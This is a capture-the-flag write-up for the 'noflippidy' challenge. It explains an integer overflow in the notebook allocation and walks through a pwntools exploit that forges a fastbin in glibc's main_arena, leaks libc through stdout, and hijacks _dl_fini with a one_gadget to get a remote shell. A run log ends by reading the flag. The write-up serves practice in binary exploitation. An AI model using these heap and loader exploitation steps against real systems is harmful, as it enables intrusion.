noflippidy
Have you played DiceCTF 2021? We sure did! We even solved a challenge! Here, have some writeups: https://ctftime.org/task/14692 Note: the server of course runs the “noflippidy” binary. This challenge is running on Ubuntu 18.04.
nc noflippidy.hackable.software 1337
Attachment: noflippidy.tar.gz xpl.py
Team: Super Guesser
---------- FLIPPIDYDIPPILF ----------
In this very realistic scenario our protagonist (you!) finds himself in search of a notebook...
That can flip itself!
This notebook flips its pages very well. I hope it suits someone as powerful as you.
Just give it the word, and the pages will reverse themselves!
To get started, first tell us how big your notebook will be: 10
----- Menu -----
1. Add to your notebook
2. Flip your notebook!
3. Exit
:
noflippidy
seemed to be a remake of the flippidy
challenge, but the binary was patched.
When trying to flip
the notebook, it would first check, if the canary is 0x0
and otherwise just leaves the function, effectively disable the usage of flip
completely.
The only thing, we can do, is adding new entries to our notebook, which would not give us much to work with, if there wasn’t another bug in the allocation of the notebook itself.
printf("%s", "To get started, first tell us how big your notebook will be: ");
NOTEBOOK_SIZE = read_int();
NOTEBOOK = malloc(8 * NOTEBOOK_SIZE);
Since NOTEBOOK_SIZE
is an int
, 8 * NOTEBOOK_SIZE
can overflow, which would lead in a big NOTEBOOK_SIZE
but a smaller allocated NOTEBOOK
chunk, by which we could then add notebook entries outside of the allocated chunk.
But as long, as we stay on the heap
, this would also not be very useful, since there are no calls to free
or anything useful on the heap to overwrite. Allocating a notebook with a size, which will not be served by heap
but by an mmapped
region on the other hand might make this oob access more useful.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "noflippidy.hackable.software"
PORT = 1337
PROCESS = "./noflippidy"
def add(idx, data):
r.sendline("1")
r.sendlineafter(": ", str(idx))
r.sendlineafter(": ", data)
LEAK = r.recvuntil(": ")
return LEAK
def flip():
r.sendline("2")
r.recvuntil(": ")
def exploit(r):
log.info("Create notebook in mmapped region before libc")
r.sendlineafter(": ", str(0x300200020/8))
r.recvuntil(": ")
r.interactive()
return
if __name__ == "__main__":
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = process("./noflippidy", env={"LD_PRELOAD":"./libc.so.6"})
print (util.proc.pidof(r))
pause()
exploit(r)
0x404110: 0x0000000000000000 0x0000000000000000
0x404120 <stdout>: 0x00007ffff7dce760 0x0000000000000000
0x404130 <stdin>: 0x00007ffff7dcda00 0x0000000000000000
0x404140 <stderr>: 0x00007ffff7dce680 0x0000000000000000
0x404150: 0x0000000060040004 0x00007ffff77e1010 <= NOTEBOOK_SIZE / NOTEBOOK
0x404160: 0x0000000000000000 0x0000000000000000
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff77e1000 0x00007ffff79e2000 0x0000000000000000 rw- <= NOTEBOOK region
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw-
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ff5000 0x00007ffff7ff7000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
The notebook
is now allocated directly before libc, thus all relative offsets will be the same (despite ASLR) to the libc rw
region as also to ld rw
region.
Now the oob access in notebook becomes more useful. Since offsets will always be the same, we can create notes and have their pointers overwrite something in either libc
or ld
. exitfuncs
of libc are mangled, so there’s no point in overwriting them, but we can abuse _dl_fini
from ld
to get rip
control.
void_dl_fini (void)
{
...
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
...
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
l->l_init_called = 0;
if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL)
{
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
...
}
This gives us two primitives to do arbitrary calls.
One is by overwriting DT_FINI_ARRAY
, which will result in calling our function by ((fini_t)array[i])();
. Though, we can only define an address which points to the function we want to call.
The second call is DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
, where we can store an arbitrary address, which will be called.
At first, I tried combining those two (also since at first, I only mmapped a region before ld
, thus having no access to libc
), to use the first call to leak something and the second call to jump back into main. But we’ll not be able to trigger _dl_fini
again after that and we would only be able to leak a heap address, which didn’t really helped much.
After a while, I changed the notebook size, as shown at the beginning, and with having a region before libc, we have a better chance to get a leak before going into _dl_fini
. When discussing this with hk
, he brought up the idea, that we could abuse freelist in main_arena
to allocate arbitrary chunks, which worked out pretty well.
For getting a leak, I created a chunk, which looked like a freed fastbin and used the relative offset oob, so that the pointer to this chunk would be put into 0x40
fastbin in main_arena
.
payload = p64(0x0) + p64(0x41)
payload += p64(0x404000) <= points above menu_ptrs
add((0x5ecc60-0x10)/8, payload) <= offset to 0x40 fastbin main_arena
Now, we just have to allocate another 0x40
chunk and the next chunk would overwrite the menu pointers, so we just put a pointer to stdout
into it. By doing that, the challenge will print stdout
on every menu print, thus we can just read it and calculate libc base
.
add(1, "A")
log.info("Overwrite menu_ptr with pointer to stdout")
payload = "A"*0x10
payload += p64(0x404120) # point to stdout
LEAK = u64(add(2, payload)[2:2+6].ljust(8, "\x00"))
libc.address = LEAK - libc.symbols["_IO_2_1_stdout_"]
log.info("LIBC : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))
Since we now still have the overwrite for l->l_info[DT_FINI]
, we can now just call a one_gadget
:
log.info("Overwrite DT_CALL_DT_FINI with one_gadget")
ONEGADGET = libc.address + 0x4f432
# DL_CALL_DT_FINI
payload = "A"*8
payload += p64(ONEGADGET) # call 2 (one gadget)
add((0x81c000 + 0x1208) / 8, payload)
log.info("Exit to trigger _dl_fini")
r.sendline("3")
$ python xpl.py 1
[*] '/media/sf_ctf/dragon21/flip/task/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to noflippidy.hackable.software on port 1337: Done
[*] Create notebook in mmapped region before libc
[*] Overwrite 0x40 freed fastbin in main_arena and point it to bss
[*] Overwrite menu_ptr with pointer to stdout
[*] LIBC : 0x7fe5c53aa760
[*] LIBC : 0x7fe5c4fbe000
[*] Overwrite DT_CALL_DT_FINI with one_gadget
[*] Exit to trigger _dl_fini
[*] Switching to interactive mode
$ ls
flag.txt
noflippidy
$ cat flag.txt
DrgnS{R3m3m83r_k1dS_s734L1nG_Is_N07_c00L}